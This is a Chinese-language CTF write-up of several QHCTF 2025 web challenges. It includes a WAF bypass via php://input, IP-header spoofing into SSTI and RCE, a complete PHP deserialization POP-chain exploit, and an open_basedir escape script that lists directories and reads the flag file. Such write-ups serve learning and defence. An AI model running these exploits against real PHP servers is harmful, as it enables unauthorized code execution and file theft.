#Easy_include
利用php://input伪协议可以绕过waf
#Web_IP
通过hint想到确定ip的方法,试试看能不能通过http头伪造,成功,尝试ssti。{{7*7}}
成功输出49。尝试{{config}}
发现报错,注意到是php写的页面,则可以确认是php的ssti。那么尝试直接rce,成功。
#Web_pop
php反序列化,常规题;注意把private和protected属性改为public。
EXP:
<?php
class Start{
public $name;
public $func;
// public function __destruct()
// {
// echo "Welcome to QHCTF 2025, ".$this->name; //tostring
// }
// public function __isset($var)
// {
// ($this->func)(); //invoke
// }
}
class Sec{
public $obj;
public $var;
// public function __toString()
// {
// $this->obj->check($this->var); //call
// return "CTFers";
// }
// public function __invoke()
// {
// echo file_get_contents('/flag');
// }
}
class Easy{
public $cla;
// public function __call($fun, $var)
// {
// $this->cla = clone $var[0];
// }
}
class eeee{
public $obj;
// public function __clone()
// {
// if(isset($this->obj->cmd)){
// echo "success";
// }
// }
}
$a = new Start();
$b = new Sec();
$c = new Easy();
$d = new eeee();
$a -> name = $b;
$a -> func = $b;
$b -> obj = $c;
$b -> var = $d;
$c -> cla = $d;
$d -> obj = $a;
echo serialize($a);
#PCREMagic
phprce(并非),但是ban了很多很多函数,整了好久。考点是open_basedir的绕过。
本题直接给出了源码,只要上传txt文件(APIfox是真挺好用的)就可以使之解析为php。有个对eval的过滤,感觉意义不明。可以查看phpinfo,发现禁用了一堆函数,没法直接rce了,那就只能找其他法子。
POC:
<?php
function is_php($data){
return preg_match('/<\?php.*?eval.*?\(.*?\).*?\?>/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
if (!is_dir($user_dir)) {
mkdir($user_dir, 0755, true);
}
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
exit;
}
?>
利用php中open_basedir的特性,将其设为根目录,用glob()获取目录下文件或目录,再用file_get_contents读取文件内容就行。
EXP:
<?php
print_r(ini_get('open_basedir')."\n");
mkdir('test');
chdir('test');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
print_r(ini_get('open_basedir')."\n");
echo getcwd() . "\n";
print_r(glob('*'));
echo file_get_contents('flag');
?>

参考~🥰: